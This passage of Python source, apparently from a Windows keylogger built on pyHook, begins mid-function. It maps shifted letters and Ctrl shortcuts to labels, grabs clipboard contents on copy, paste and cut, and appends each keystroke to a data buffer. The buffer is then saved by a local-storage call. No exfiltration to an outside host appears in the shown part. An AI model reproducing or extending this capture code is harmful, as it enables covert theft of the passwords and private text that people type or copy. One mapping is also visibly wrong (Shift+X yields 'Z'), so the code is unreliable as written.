     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'W':
         keys = 'W'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'X':
         keys = 'Z'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Y':
         keys = 'Y'
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
             HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Z':
         keys = 'Z'
     elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'C':
         clipboardResult = self.getClipboard()
         keys = ''
     elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'V':
         clipboardResult = self.getClipboard()
         keys = clipboardResult
     elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'A':
         keys = '<SELECT ALL>'
     elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'S':
         keys = '<SAVE>'
     elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'O':
         keys = '<OPEN>'
     elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'N':
         keys = '<NEW>'
     elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'X':
         clipboardResult = self.getClipboard()
         keys = ''
     elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(HookConstants.VKeyToID('VK_RSHIFT'))):
         keys = '<SHIFT>'
     else:
         keys = chr(event.Ascii)
     data = data + keys
     self.local()